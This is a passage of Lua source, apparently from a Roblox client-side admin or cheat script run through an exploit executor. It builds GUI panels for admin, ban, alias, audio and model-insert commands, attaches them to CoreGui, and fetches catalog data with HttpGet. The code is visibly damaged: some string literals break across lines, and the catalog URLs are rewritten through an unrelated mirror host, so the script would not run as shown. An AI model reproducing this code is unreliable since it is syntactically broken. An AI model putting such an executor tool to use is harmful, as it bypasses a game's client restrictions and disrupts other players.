shadow.BackgroundColor3 = maincolor
shadow.BackgroundTransparency = 0.30000001192093
shadow.BorderColor3 = Color3.new(0, 0, 0)
shadow.BorderSizePixel = 0
shadow.Position = UDim2.new(0.0322580636, 0, 0.00999999978, 0)
shadow.Size = UDim2.new(0, 290, 0, 26)
PopupText.Name = "PopupText"
PopupText.Parent = shadow
PopupText.BackgroundTransparency = 1
PopupText.Position = UDim2.new(0, 8, 0, -3)
PopupText.Size = UDim2.new(1, -16, 0.538461566, 0)
PopupText.ZIndex = 110
PopupText.Font = Enum.Font.SourceSansBold
PopupText.FontSize = Enum.FontSize.Size28
PopupText.Text = "Positions"
PopupText.TextColor3 = Color3.new(0.97, 0.97, 0.97)
PopupText.TextStrokeTransparency = 0
PopupText.TextWrapped = true
PopupText.TextYAlignment = Enum.TextYAlignment.Top
Exit.Name = "Exit"
Exit.Parent = shadow
Exit.BackgroundColor3 = Color3.new(1, 0, 0)
Exit.BackgroundTransparency = 0.30000001192093
Exit.BorderColor3 = Color3.new(1, 0, 0)
Exit.BorderSizePixel = 0
Exit.Position = UDim2.new(0, 267, 0, 3)
Exit.Size = UDim2.new(0, 20, 0, 20)
Exit.FontSize = Enum.FontSize.Size14
Exit.Text = ""
ContainerFrame.Name = "ContainerFrame"
ContainerFrame.Parent = PromptDialog
ContainerFrame.BackgroundColor3 = maincolor
ContainerFrame.BackgroundTransparency = 0.5
ContainerFrame.BorderColor3 = Color3.new(0, 0, 0)
ContainerFrame.BorderSizePixel = 0
ContainerFrame.Position = UDim2.new(0, 10, 0, 29)
ContainerFrame.Size = UDim2.new(0.935483873, 0, 0.806666672, 0)
ContainerFrame.ZIndex = 5
PList.Name = "List"
PList.Parent = ContainerFrame
PList.BackgroundColor3 = Color3.new(0.0666667, 0.0666667, 0.0666667)
PList.BackgroundTransparency = 1
PList.BorderColor3 = Color3.new(0.0666667, 0.0666667, 0.0666667)
PList.BorderSizePixel = 0
PList.Position = UDim2.new(0, 10, 0, 5)
PList.Size = UDim2.new(0, 280, 0, 230)
PList.ZIndex = 6
PList.BottomImage = "rbxasset://textures/blackBkg_square.png"
PList.CanvasSize = UDim2.new(0, 0, 0, 10)
PList.MidImage = "rbxasset://textures/blackBkg_square.png"
PList.ScrollBarThickness = 8
PList.TopImage = "rbxasset://textures/blackBkg_square.png"
updatepositions()
drag:TweenPosition(UDim2.new(0.5, -150, 0, 100), "InOut", "Quart", 0.5, true, nil)
Exit.MouseButton1Click:Connect(function()
drag:TweenPosition(UDim2.new(0.5, -150, 0, -400), "InOut", "Quart", 0.5, true, nil)

wait(0.6) posopen = false Pos:Destroy() end) end


end)

function updateadmins()
if AList then
AList:ClearAllChildren()
AList.CanvasSize = UDim2.new(0, 0, 0, 10)
for i = 1, #adminname do
local YSize = 25
local Position = ((i * YSize) - YSize)
local newcmd = Example:Clone()
newcmd.Parent = AList
newcmd.Visible = true
newcmd.Position = UDim2.new(0,5,0, Position + 5)
newcmd.Text = adminname[i].NAME
AList.CanvasSize = UDim2.new(0,0,0, Position + 30)
end
end
end

adminsopen = false
adminname = {}
addcmd('admins','displays admins',{'adminlist'},
function(args, speaker)
if speaker.userId ~= LP.userId then
lponly(speaker) else
if adminsopen == false then
adminsopen = true
local admins = Instance.new("ScreenGui")
local drag = Instance.new("Frame")
local PromptDialog = Instance.new("Frame")
local shadow = Instance.new("Frame")
local PopupText = Instance.new("TextLabel")
local Exit = Instance.new("TextButton")
local ContainerFrame = Instance.new("Frame")
AList = Instance.new("ScrollingFrame")
admins.Name = "Admins"
admins.Parent = game.CoreGui
drag.Name = "drag"
drag.Parent = admins
drag.Active = true
drag.BackgroundColor3 = Color3.new(1, 1, 1)
drag.BackgroundTransparency = 1
dragGUI(drag)
drag.Position = UDim2.new(0.5, -150, 0, -400)
drag.Size = UDim2.new(0, 290, 0, 30)
PromptDialog.Name = "PromptDialog"
PromptDialog.Parent = drag
PromptDialog.BackgroundColor3 = Color3.new(0, 0, 0)
PromptDialog.BackgroundTransparency = 1
PromptDialog.BorderSizePixel = 0
PromptDialog.Position = UDim2.new(0, -10, 0, 0)
PromptDialog.Size = UDim2.new(0, 310, 0, 300)
PromptDialog.ZIndex = 8
shadow.Name = "shadow"
shadow.Parent = PromptDialog
shadow.BackgroundColor3 = maincolor
shadow.BackgroundTransparency = 0.30000001192093
shadow.BorderColor3 = Color3.new(0, 0, 0)
shadow.BorderSizePixel = 0
shadow.Position = UDim2.new(0.0322580636, 0, 0.00999999978, 0)
shadow.Size = UDim2.new(0, 290, 0, 26)
PopupText.Name = "PopupText"
PopupText.Parent = shadow
PopupText.BackgroundTransparency = 1
PopupText.Position = UDim2.new(0, 8, 0, -3)
PopupText.Size = UDim2.new(1, -16, 0.538461566, 0)
PopupText.ZIndex = 110
PopupText.Font = Enum.Font.SourceSansBold
PopupText.FontSize = Enum.FontSize.Size28
PopupText.Text = "Admins"
PopupText.TextColor3 = Color3.new(0.97, 0.97, 0.97)
PopupText.TextStrokeTransparency = 0
PopupText.TextWrapped = true
PopupText.TextYAlignment = Enum.TextYAlignment.Top
Exit.Name = "Exit"
Exit.Parent = shadow
Exit.BackgroundColor3 = Color3.new(1, 0, 0)
Exit.BackgroundTransparency = 0.30000001192093
Exit.BorderColor3 = Color3.new(1, 0, 0)
Exit.BorderSizePixel = 0
Exit.Position = UDim2.new(0, 267, 0, 3)
Exit.Size = UDim2.new(0, 20, 0, 20)
Exit.FontSize = Enum.FontSize.Size14
Exit.Text = ""
ContainerFrame.Name = "ContainerFrame"
ContainerFrame.Parent = PromptDialog
ContainerFrame.BackgroundColor3 = maincolor
ContainerFrame.BackgroundTransparency = 0.5
ContainerFrame.BorderColor3 = Color3.new(0, 0, 0)
ContainerFrame.BorderSizePixel = 0
ContainerFrame.Position = UDim2.new(0, 10, 0, 29)
ContainerFrame.Size = UDim2.new(0.935483873, 0, 0.806666672, 0)
ContainerFrame.ZIndex = 5
AList.Name = "List"
AList.Parent = ContainerFrame
AList.BackgroundColor3 = Color3.new(0.0666667, 0.0666667, 0.0666667)
AList.BackgroundTransparency = 1
AList.BorderColor3 = Color3.new(0.0666667, 0.0666667, 0.0666667)
AList.BorderSizePixel = 0
AList.Position = UDim2.new(0, 10, 0, 5)
AList.Size = UDim2.new(0, 280, 0, 230)
AList.ZIndex = 6
AList.BottomImage = "rbxasset://textures/blackBkg_square.png"
AList.CanvasSize = UDim2.new(0, 0, 0, 10)
AList.MidImage = "rbxasset://textures/blackBkg_square.png"
AList.ScrollBarThickness = 8
AList.TopImage = "rbxasset://textures/blackBkg_square.png"
updateadmins()
drag:TweenPosition(UDim2.new(0.5, -150, 0, 100), "InOut", "Quart", 0.5, true, nil)
Exit.MouseButton1Click:Connect(function()
drag:TweenPosition(UDim2.new(0.5, -150, 0, -400), "InOut", "Quart", 0.5, true, nil)
wait(0.6) adminsopen = false admins:Destroy() end) end end
end)

function updatebans()
if BList then
BList:ClearAllChildren()
BList.CanvasSize = UDim2.new(0, 0, 0, 10)
for i = 1, #banname do
local YSize = 25
local Position = ((i * YSize) - YSize)
local newcmd = Example:Clone()
newcmd.Parent = BList
newcmd.Visible = true
newcmd.Position = UDim2.new(0,5,0, Position + 5)
newcmd.Text = " Name: " .. banname[i].NAME .. " | ID: " ..
banname[i].ID .. " | Age: " .. banname[i].AGE
newcmd.TextSize = 20
BList.CanvasSize = UDim2.new(0,0,0, Position + 30)
local delet = Instance.new("TextButton")
delet.Name = "delet"
delet.Parent = BList
delet.BackgroundColor3 = Color3.new(1, 0, 0)
delet.BackgroundTransparency = 0.30000001192093
delet.BorderColor3 = Color3.new(1, 0, 0)
delet.BorderSizePixel = 0
delet.Position = UDim2.new(0,-10,0, Position + 5)
delet.Size = UDim2.new(0, 20, 0, 20)
delet.FontSize = Enum.FontSize.Size14
delet.Text = ""
delet.ZIndex = 6
delet.MouseButton1Click:Connect(function()
execCmd("unban "..banname[i].NAME)
end)
end
end
end

banname = {}
bansopen = false
addcmd('bans','displays bans',{'banlist'},
function(args, speaker)
if speaker.userId ~= LP.userId then
lponly(speaker) else
if bansopen == false then
bansopen = true
local Bans = Instance.new("ScreenGui")
local drag = Instance.new("Frame")
local PromptDialog = Instance.new("Frame")
local ContainerFrame = Instance.new("Frame")
BList = Instance.new("ScrollingFrame")
local shadow = Instance.new("Frame")
local Exit = Instance.new("TextButton")
local PopupText = Instance.new("TextLabel")
Bans.Name = "Bans"
Bans.Parent = game.CoreGui
drag.Name = "drag"
drag.Parent = Bans
drag.Active = true
drag.BackgroundColor3 = Color3.new(1, 1, 1)
drag.BackgroundTransparency = 1
dragGUI(drag)
drag.Position = UDim2.new(0.5, -225, 0, -400)
drag.Size = UDim2.new(0, 438, 0, 26)
PromptDialog.Name = "PromptDialog"
PromptDialog.Parent = drag
PromptDialog.BackgroundColor3 = Color3.new(0, 0, 0)
PromptDialog.BackgroundTransparency = 1
PromptDialog.BorderSizePixel = 0
PromptDialog.Position = UDim2.new(0, 0, 0, -2)
PromptDialog.Size = UDim2.new(0, 438, 0, 300)
PromptDialog.ZIndex = 5
ContainerFrame.Name = "ContainerFrame"
ContainerFrame.Parent = PromptDialog
ContainerFrame.BackgroundColor3 = maincolor
ContainerFrame.BackgroundTransparency = 0.5
ContainerFrame.BorderColor3 = Color3.new(0, 0, 0)
ContainerFrame.BorderSizePixel = 0
ContainerFrame.Position = UDim2.new(0, 0, 0, 29)
ContainerFrame.Size = UDim2.new(1, 0, 0.829999983, 0)
ContainerFrame.ZIndex = 5
BList.Name = "List"
BList.Parent = ContainerFrame
BList.BackgroundColor3 = Color3.new(0.0666667, 0.0666667, 0.0666667)
BList.BackgroundTransparency = 1
BList.BorderColor3 = Color3.new(0.0666667, 0.0666667, 0.0666667)
BList.BorderSizePixel = 0
BList.Position = UDim2.new(0, 10, 0, 9)
BList.Size = UDim2.new(0, 428, 0, 230)
BList.ZIndex = 5
BList.BottomImage = "rbxasset://textures/blackBkg_square.png"
BList.CanvasSize = UDim2.new(0, 0, 0, 10)
BList.MidImage = "rbxasset://textures/blackBkg_square.png"
BList.ScrollBarThickness = 8
BList.TopImage = "rbxasset://textures/blackBkg_square.png"
shadow.Name = "shadow"
shadow.Parent = PromptDialog
shadow.BackgroundColor3 = maincolor
shadow.BackgroundTransparency = 0.30000001192093
shadow.BorderColor3 = Color3.new(0, 0, 0)
shadow.BorderSizePixel = 0
shadow.Position = UDim2.new(0, 0, 0.00999999978, 0)
shadow.Size = UDim2.new(0, 438, 0, 26)
Exit.Name = "Exit"
Exit.Parent = shadow
Exit.BackgroundColor3 = Color3.new(1, 0, 0)
Exit.BackgroundTransparency = 0.30000001192093
Exit.BorderColor3 = Color3.new(1, 0, 0)
Exit.BorderSizePixel = 0
Exit.Position = UDim2.new(0, 415, 0, 3)
Exit.Size = UDim2.new(0, 20, 0, 20)
Exit.FontSize = Enum.FontSize.Size14
Exit.Text = ""
PopupText.Name = "PopupText"
PopupText.Parent = shadow
PopupText.BackgroundTransparency = 1
PopupText.Position = UDim2.new(0, 61, 0, -4)
PopupText.Size = UDim2.new(0.760273993, -16, 1.15384614, 0)
PopupText.ZIndex = 6
PopupText.Font = Enum.Font.SourceSansBold
PopupText.FontSize = Enum.FontSize.Size32
PopupText.Text = "Bans"
PopupText.TextColor3 = Color3.new(0.97, 0.97, 0.97)
PopupText.TextStrokeTransparency = 0
PopupText.TextWrapped = true
PopupText.TextYAlignment = Enum.TextYAlignment.Top
updatebans()
drag:TweenPosition(UDim2.new(0.5, -225, 0, 100), "InOut", "Quart", 0.5, true, nil)
Exit.MouseButton1Click:Connect(function()
drag:TweenPosition(UDim2.new(0.5, -225, 0, -400), "InOut", "Quart", 0.5, true, nil)
wait(0.6) bansopen = false Bans:Destroy() end) end end
end)

function updatealiases()
if AlList then
AlList:ClearAllChildren()
AlList.CanvasSize = UDim2.new(0, 0, 0, 10)
for i = 1, #aliasSave do
local YSize = 25
local Position = ((i * YSize) - YSize)
local newcmd = Example:Clone()
newcmd.Parent = AlList
newcmd.Visible = true
newcmd.Position = UDim2.new(0,5,0, Position + 5)
newcmd.Text = ' Command: ['..aliasSave[i].CMD..'] Alias:
['..aliasSave[i].ALIAS..']'
newcmd.TextSize = 20
AlList.CanvasSize = UDim2.new(0,0,0, Position + 30)
local delet = Instance.new("TextButton")
delet.Name = "delet"
delet.Parent = AlList
delet.BackgroundColor3 = Color3.new(1, 0, 0)
delet.BackgroundTransparency = 0.30000001192093
delet.BorderColor3 = Color3.new(1, 0, 0)
delet.BorderSizePixel = 0
delet.Position = UDim2.new(0,-10,0, Position + 5)
delet.Size = UDim2.new(0, 20, 0, 20)
delet.FontSize = Enum.FontSize.Size14
delet.Text = ""
delet.ZIndex = 6
delet.MouseButton1Click:Connect(function()
execCmd("removealias "..aliasSave[i].ALIAS)
end)
end
end
end

aliasesopen = false
addcmd('aliases','displays aliases',{},
function(args, speaker)
if speaker.userId ~= LP.userId then
lponly(speaker) else
if aliasesopen == false then
aliasesopen = true
local aliases = Instance.new("ScreenGui")
local drag = Instance.new("Frame")
local PromptDialog = Instance.new("Frame")
local ContainerFrame = Instance.new("Frame")
AlList = Instance.new("ScrollingFrame")
local shadow = Instance.new("Frame")
local Exit = Instance.new("TextButton")
local PopupText = Instance.new("TextLabel")
aliases.Name = "Aliases"
aliases.Parent = game.CoreGui
drag.Name = "drag"
drag.Parent = aliases
drag.Active = true
drag.BackgroundColor3 = Color3.new(1, 1, 1)
drag.BackgroundTransparency = 1
dragGUI(drag)
drag.Position = UDim2.new(0.5, -225, 0, -400)
drag.Size = UDim2.new(0, 438, 0, 26)
PromptDialog.Name = "PromptDialog"
PromptDialog.Parent = drag
PromptDialog.BackgroundColor3 = Color3.new(0, 0, 0)
PromptDialog.BackgroundTransparency = 1
PromptDialog.BorderSizePixel = 0
PromptDialog.Position = UDim2.new(0, 0, 0, -2)
PromptDialog.Size = UDim2.new(0, 438, 0, 300)
PromptDialog.ZIndex = 5
ContainerFrame.Name = "ContainerFrame"
ContainerFrame.Parent = PromptDialog
ContainerFrame.BackgroundColor3 = maincolor
ContainerFrame.BackgroundTransparency = 0.5
ContainerFrame.BorderColor3 = Color3.new(0, 0, 0)
ContainerFrame.BorderSizePixel = 0
ContainerFrame.Position = UDim2.new(0, 0, 0, 29)
ContainerFrame.Size = UDim2.new(1, 0, 0.829999983, 0)
ContainerFrame.ZIndex = 5
AlList.Name = "List"
AlList.Parent = ContainerFrame
AlList.BackgroundColor3 = Color3.new(0.0666667, 0.0666667, 0.0666667)
AlList.BackgroundTransparency = 1
AlList.BorderColor3 = Color3.new(0.0666667, 0.0666667, 0.0666667)
AlList.BorderSizePixel = 0
AlList.Position = UDim2.new(0, 10, 0, 9)
AlList.Size = UDim2.new(0, 428, 0, 230)
AlList.ZIndex = 5
AlList.BottomImage = "rbxasset://textures/blackBkg_square.png"
AlList.CanvasSize = UDim2.new(0, 0, 0, 10)
AlList.MidImage = "rbxasset://textures/blackBkg_square.png"
AlList.ScrollBarThickness = 8
AlList.TopImage = "rbxasset://textures/blackBkg_square.png"
shadow.Name = "shadow"
shadow.Parent = PromptDialog
shadow.BackgroundColor3 = maincolor
shadow.BackgroundTransparency = 0.30000001192093
shadow.BorderColor3 = Color3.new(0, 0, 0)
shadow.BorderSizePixel = 0
shadow.Position = UDim2.new(0, 0, 0.00999999978, 0)
shadow.Size = UDim2.new(0, 438, 0, 26)
Exit.Name = "Exit"
Exit.Parent = shadow
Exit.BackgroundColor3 = Color3.new(1, 0, 0)
Exit.BackgroundTransparency = 0.30000001192093
Exit.BorderColor3 = Color3.new(1, 0, 0)
Exit.BorderSizePixel = 0
Exit.Position = UDim2.new(0, 415, 0, 3)
Exit.Size = UDim2.new(0, 20, 0, 20)
Exit.FontSize = Enum.FontSize.Size14
Exit.Text = ""
PopupText.Name = "PopupText"
PopupText.Parent = shadow
PopupText.BackgroundTransparency = 1
PopupText.Position = UDim2.new(0, 61, 0, -4)
PopupText.Size = UDim2.new(0.760273993, -16, 1.15384614, 0)
PopupText.ZIndex = 6
PopupText.Font = Enum.Font.SourceSansBold
PopupText.FontSize = Enum.FontSize.Size32
PopupText.Text = "Aliases"
PopupText.TextColor3 = Color3.new(0.97, 0.97, 0.97)
PopupText.TextStrokeTransparency = 0
PopupText.TextWrapped = true
PopupText.TextYAlignment = Enum.TextYAlignment.Top
updatealiases()
drag:TweenPosition(UDim2.new(0.5, -225, 0, 100), "InOut", "Quart", 0.5, true, nil)
Exit.MouseButton1Click:Connect(function()
drag:TweenPosition(UDim2.new(0.5, -225, 0, -400), "InOut", "Quart", 0.5, true, nil)
wait(0.6) aliasesopen = false aliases:Destroy() end) end end
end)

addcmd('sound', 'plays a sound',{'music','play'},


function(args, speaker)
if isNumber(args[1]) then
for i,v in pairs(game:GetDescendants()) do
if v:IsA'Sound'then v:Destroy() end end
local c = args[1] or 'stop'
if std.inTable({'stop'}, c:lower()) then return end
local s = Instance.new("Sound", workspace)
s.Name = "IYsound"
s.Looped = true
s.SoundId = "rbxassetid://" .. c
s.Volume = 1
s:Play()
local Asset = game:GetService("MarketplaceService"):GetProductInfo(c)
playerenabled = false
Notify('Playing: '..Asset.Name..' ('..c..')')
else
local name = GLS(false, 0)
if GLS(false, 0) == "stop" or GLS(false, 0) == "off" then
Notify('Stopped audio')
for i,v in pairs(game:GetDescendants()) do
if v:IsA'Sound'then v:Destroy() end end
return
end
Notify('Loading list...')
local Audios = Instance.new("ScreenGui")
local drag = Instance.new("Frame")
local PromptDialog = Instance.new("Frame")
local ContainerFrame = Instance.new("Frame")
local AudList = Instance.new("ScrollingFrame")
local shadow = Instance.new("Frame")
local Exit = Instance.new("TextButton")
local PopupText = Instance.new("TextLabel")
local Hide = Instance.new("TextButton")
Audios.Name = "Audios"
Audios.Parent = game.CoreGui
drag.Name = "drag"
drag.Parent = Audios
drag.Active = true
drag.BackgroundColor3 = Color3.new(1, 1, 1)
drag.BackgroundTransparency = 1
dragGUI(drag)
drag.Position = UDim2.new(0.5, -225, 0, -400)
drag.Size = UDim2.new(0, 438, 0, 26)
PromptDialog.Name = "PromptDialog"
PromptDialog.Parent = drag
PromptDialog.BackgroundColor3 = Color3.new(0, 0, 0)
PromptDialog.BackgroundTransparency = 1
PromptDialog.BorderSizePixel = 0
PromptDialog.Position = UDim2.new(0, 0, 0, -2)
PromptDialog.Size = UDim2.new(0, 438, 0, 300)
PromptDialog.ZIndex = 5
PromptDialog.ClipsDescendants = true
ContainerFrame.Name = "ContainerFrame"
ContainerFrame.Parent = PromptDialog
ContainerFrame.BackgroundColor3 = maincolor
ContainerFrame.BackgroundTransparency = 0.5
ContainerFrame.BorderColor3 = Color3.new(0, 0, 0)
ContainerFrame.BorderSizePixel = 0
ContainerFrame.Position = UDim2.new(0, 0, 0, 29)
ContainerFrame.Size = UDim2.new(1, 0, 0.829999983, 0)
ContainerFrame.ZIndex = 5
AudList.Name = "List"
AudList.Parent = ContainerFrame
AudList.BackgroundColor3 = Color3.new(0.0666667, 0.0666667, 0.0666667)
AudList.BackgroundTransparency = 1
AudList.BorderColor3 = Color3.new(0.0666667, 0.0666667, 0.0666667)
AudList.BorderSizePixel = 0
AudList.Position = UDim2.new(0, 10, 0, 9)
AudList.Size = UDim2.new(0, 428, 0, 230)
AudList.ZIndex = 5
AudList.BottomImage = "rbxasset://textures/blackBkg_square.png"
AudList.CanvasSize = UDim2.new(0, 0, 0, 10)
AudList.MidImage = "rbxasset://textures/blackBkg_square.png"
AudList.ScrollBarThickness = 8
AudList.TopImage = "rbxasset://textures/blackBkg_square.png"
shadow.Name = "shadow"
shadow.Parent = PromptDialog
shadow.BackgroundColor3 = maincolor
shadow.BackgroundTransparency = 0.30000001192093
shadow.BorderColor3 = Color3.new(0, 0, 0)
shadow.BorderSizePixel = 0
shadow.Position = UDim2.new(0, 0, 0.00999999978, 0)
shadow.Size = UDim2.new(0, 438, 0, 26)
Exit.Name = "Exit"
Exit.Parent = shadow
Exit.BackgroundColor3 = Color3.new(1, 0, 0)
Exit.BackgroundTransparency = 0.30000001192093
Exit.BorderColor3 = Color3.new(1, 0, 0)
Exit.BorderSizePixel = 0
Exit.Position = UDim2.new(0, 415, 0, 3)
Exit.Size = UDim2.new(0, 20, 0, 20)
Exit.FontSize = Enum.FontSize.Size14
Exit.Text = ""
PopupText.Name = "PopupText"
PopupText.Parent = shadow
PopupText.BackgroundTransparency = 1
PopupText.Position = UDim2.new(0, 61, 0, -4)
PopupText.Size = UDim2.new(0.760273993, -16, 1.15384614, 0)
PopupText.ZIndex = 6
PopupText.Font = Enum.Font.SourceSansBold
PopupText.FontSize = Enum.FontSize.Size32
PopupText.Text = GLS(false, 0).." [Audio]"
PopupText.TextScaled = true
PopupText.TextColor3 = Color3.new(0.97, 0.97, 0.97)
PopupText.TextStrokeTransparency = 0
PopupText.TextWrapped = true
PopupText.TextYAlignment = Enum.TextYAlignment.Center
Hide.Name = "Hide"
Hide.Parent = shadow
Hide.BackgroundColor3 = Color3.new(1, 1, 1)
Hide.BackgroundTransparency = 0.30000001192093
Hide.BorderColor3 = Color3.new(1, 1, 1)
Hide.BorderSizePixel = 0
Hide.Position = UDim2.new(0.800000012, 41, 0, 3)
Hide.Size = UDim2.new(0, 20, 0, 20)
Hide.FontSize = Enum.FontSize.Size14
Hide.Text = ""
local hidden = false
Hide.MouseButton1Down:connect(function()
if hidden == false then hidden = true
ContainerFrame:TweenPosition(UDim2.new(0, 0, 0, -300), "InOut", "Quart", 0.5, true,
nil)
else ContainerFrame:TweenPosition(UDim2.new(0, 0, 0, 29), "InOut", "Quart", 0.5,
true, nil) hidden = false
end end)
local json = game:HttpGet("https://search.roblox.com/catalog/json?
Category=Audio&Keyword="..GLS(false, 0).."&ResultsPerPage=50", true)
local results = HttpService:JSONDecode(json)
if #results == 0 then
Notify('No audio found :(')
Audios:Destroy()
return
end
for i,v in pairs(results) do
local YSize = 25
local Position = ((i * YSize) - YSize)
local newcmd = Example:Clone()
newcmd.Parent = AudList
newcmd.Visible = true
newcmd.Position = UDim2.new(0,5,0, Position + 5)
newcmd.Text = " "..v.Name
newcmd.TextSize = 20
AudList.CanvasSize = UDim2.new(0,0,0, Position + 30)
local play = Instance.new("TextButton")
play.Name = "play"
play.Parent = AudList
play.BackgroundColor3 = Color3.new(255, 255, 255)
play.BackgroundTransparency = 0.30000001192093
play.BorderColor3 = Color3.new(1, 0, 0)
play.BorderSizePixel = 0
play.Position = UDim2.new(0,-10,0, Position + 5)
play.Size = UDim2.new(0, 20, 0, 20)
play.FontSize = Enum.FontSize.Size14
play.Text = ""
play.ZIndex = 6
play.MouseButton1Click:Connect(function()
playerenabled = false
for i,v in pairs(game:GetDescendants()) do
if v:IsA'Sound'then v:Destroy() end end
wait(0.1)
Notify('Playing: '..v.Name ..' ('..v.AssetId..')')
local s = Instance.new("Sound", workspace)
s.Name = "IYsound"
s.Looped = true
s.SoundId = "rbxassetid://" .. v.AssetId
s.Volume = 1
s:Play()
end)
Notify('Select an audio to play')
drag:TweenPosition(UDim2.new(0.5, -225, 0, 100), "InOut", "Quart", 0.5, true, nil)
Exit.MouseButton1Click:Connect(function()
drag:TweenPosition(UDim2.new(0.5, -225, 0, -400), "InOut", "Quart", 0.5, true, nil)
wait(0.6) Audios:Destroy() end) end end
end)

function dragmodel(model, window, frame, name)


local Dragger = Instance.new("Dragger") local dragging = false local drag = model
drag.Parent = workspace local parts = {}
drag:MakeJoints() drag.Name = name
local mouse = game:GetService("Players").LocalPlayer:GetMouse()
function collectParts(object, baseParts)
if object:IsA("BasePart") then
baseParts[#baseParts+1] = object end
for index,child in pairs(object:GetChildren()) do
collectParts(child, baseParts) end end
collectParts(drag, parts)
Dragger:MouseDown(parts[1], Vector3.new(0,0,0), parts)
dragging = true
mouse.Move:connect(function()
if dragging then
Dragger:MouseMove(mouse.UnitRay)
end end)
mouse.KeyDown:connect(function(Key)
if dragging then
if Key == "r" then
Dragger:AxisRotate("Y")
elseif Key == "t" then
Dragger:AxisRotate("X")
elseif Key == "e" then
if window == true then
frame:TweenPosition(UDim2.new(0, 0, 0, 29), "InOut", "Quart", 0.5, true, nil)
end
drag:Destroy()
dragging = false
Dragger:MouseUp()
end end end)
mouse.Button1Down:connect(function()
if dragging then
if window == true then
frame:TweenPosition(UDim2.new(0, 0, 0, 29), "InOut", "Quart", 0.5, true, nil)
end
dragging = false
Dragger:MouseUp()
end end) end

addcmd('insert', 'inserts a model',{'ins'},


function(args, speaker)
if isNumber(args[1]) then
local window = false
local Asset = game:GetService("MarketplaceService"):GetProductInfo(args[1])
dragmodel(game:GetService("InsertService"):LoadLocalAsset("rbxassetid://" ..
Asset.AssetId), window, nil, Asset.Name)
Notify('Inserted ' .. Asset.Name .. '. Click: place | E: Cancel | R: Rotate |
T: tilt')
else
local name = GLS(false, 0)
Notify('Loading list...')
local Models = Instance.new("ScreenGui")
local drag = Instance.new("Frame")
local PromptDialog = Instance.new("Frame")
local ModelContainerFrame = Instance.new("Frame")
local ModList = Instance.new("ScrollingFrame")
local shadow = Instance.new("Frame")
local Exit = Instance.new("TextButton")
local PopupText = Instance.new("TextLabel")
local Hide = Instance.new("TextButton")
Models.Name = "Models"
Models.Parent = game.CoreGui
drag.Name = "drag"
drag.Parent = Models
drag.Active = true
drag.BackgroundColor3 = Color3.new(1, 1, 1)
drag.BackgroundTransparency = 1
dragGUI(drag)
drag.Position = UDim2.new(0.5, -225, 0, -400)
drag.Size = UDim2.new(0, 438, 0, 26)
PromptDialog.Name = "PromptDialog"
PromptDialog.Parent = drag
PromptDialog.BackgroundColor3 = Color3.new(0, 0, 0)
PromptDialog.BackgroundTransparency = 1
PromptDialog.BorderSizePixel = 0
PromptDialog.Position = UDim2.new(0, 0, 0, -2)
PromptDialog.Size = UDim2.new(0, 438, 0, 300)
PromptDialog.ClipsDescendants = true
PromptDialog.ZIndex = 5
ModelContainerFrame.Name = "ContainerFrame"
ModelContainerFrame.Parent = PromptDialog
ModelContainerFrame.BackgroundColor3 = maincolor
ModelContainerFrame.BackgroundTransparency = 0.5
ModelContainerFrame.BorderColor3 = Color3.new(0, 0, 0)
ModelContainerFrame.BorderSizePixel = 0
ModelContainerFrame.Position = UDim2.new(0, 0, 0, 29)
ModelContainerFrame.Size = UDim2.new(1, 0, 0.829999983, 0)
ModelContainerFrame.ZIndex = 5
ModList.Name = "List"
ModList.Parent = ModelContainerFrame
ModList.BackgroundColor3 = Color3.new(0.0666667, 0.0666667, 0.0666667)
ModList.BackgroundTransparency = 1
ModList.BorderColor3 = Color3.new(0.0666667, 0.0666667, 0.0666667)
ModList.BorderSizePixel = 0
ModList.Position = UDim2.new(0, 10, 0, 9)
ModList.Size = UDim2.new(0, 428, 0, 230)
ModList.ZIndex = 5
ModList.BottomImage = "rbxasset://textures/blackBkg_square.png"
ModList.CanvasSize = UDim2.new(0, 0, 0, 10)
ModList.MidImage = "rbxasset://textures/blackBkg_square.png"
ModList.ScrollBarThickness = 8
ModList.TopImage = "rbxasset://textures/blackBkg_square.png"
shadow.Name = "shadow"
shadow.Parent = PromptDialog
shadow.BackgroundColor3 = maincolor
shadow.BackgroundTransparency = 0.30000001192093
shadow.BorderColor3 = Color3.new(0, 0, 0)
shadow.BorderSizePixel = 0
shadow.Position = UDim2.new(0, 0, 0.00999999978, 0)
shadow.Size = UDim2.new(0, 438, 0, 26)
Exit.Name = "Exit"
Exit.Parent = shadow
Exit.BackgroundColor3 = Color3.new(1, 0, 0)
Exit.BackgroundTransparency = 0.30000001192093
Exit.BorderColor3 = Color3.new(1, 0, 0)
Exit.BorderSizePixel = 0
Exit.Position = UDim2.new(0, 415, 0, 3)
Exit.Size = UDim2.new(0, 20, 0, 20)
Exit.FontSize = Enum.FontSize.Size14
Exit.Text = ""
PopupText.Name = "PopupText"
PopupText.Parent = shadow
PopupText.BackgroundTransparency = 1
PopupText.Position = UDim2.new(0, 61, 0, -4)
PopupText.Size = UDim2.new(0.760273993, -16, 1.15384614, 0)
PopupText.ZIndex = 6
PopupText.Font = Enum.Font.SourceSansBold
PopupText.FontSize = Enum.FontSize.Size32
PopupText.Text = GLS(false, 0).." [Models]"
PopupText.TextScaled = true
PopupText.TextColor3 = Color3.new(0.97, 0.97, 0.97)
PopupText.TextStrokeTransparency = 0
PopupText.TextWrapped = true
PopupText.TextYAlignment = Enum.TextYAlignment.Center
Hide.Name = "Hide"
Hide.Parent = shadow
Hide.BackgroundColor3 = Color3.new(1, 1, 1)
Hide.BackgroundTransparency = 0.30000001192093
Hide.BorderColor3 = Color3.new(1, 1, 1)
Hide.BorderSizePixel = 0
Hide.Position = UDim2.new(0.800000012, 41, 0, 3)
Hide.Size = UDim2.new(0, 20, 0, 20)
Hide.FontSize = Enum.FontSize.Size14
Hide.Text = ""
local hidden = false
Hide.MouseButton1Down:connect(function()
if hidden == false then hidden = true
ModelContainerFrame:TweenPosition(UDim2.new(0, 0, 0, -300), "InOut", "Quart", 0.5,
true, nil)
else ModelContainerFrame:TweenPosition(UDim2.new(0, 0, 0, 29), "InOut", "Quart",
0.5, true, nil) hidden = false
end end)
local json = game:HttpGet("https://search.roblox.com/catalog/json?
Category=Models&Keyword="..GLS(false, 0).."&ResultsPerPage=50", true)
local results = HttpService:JSONDecode(json)
if #results == 0 then
Notify('No models found :(')
Models:Destroy()
return
end
for i,v in pairs(results) do
local YSize = 100
local Position = ((i * YSize) - YSize)
local newcmd = Example:Clone()
newcmd.Parent = ModList
newcmd.Visible = true
newcmd.Position = UDim2.new(0,5,0, Position + 40)
newcmd.Text = " "..v.Name
newcmd.TextSize = 20
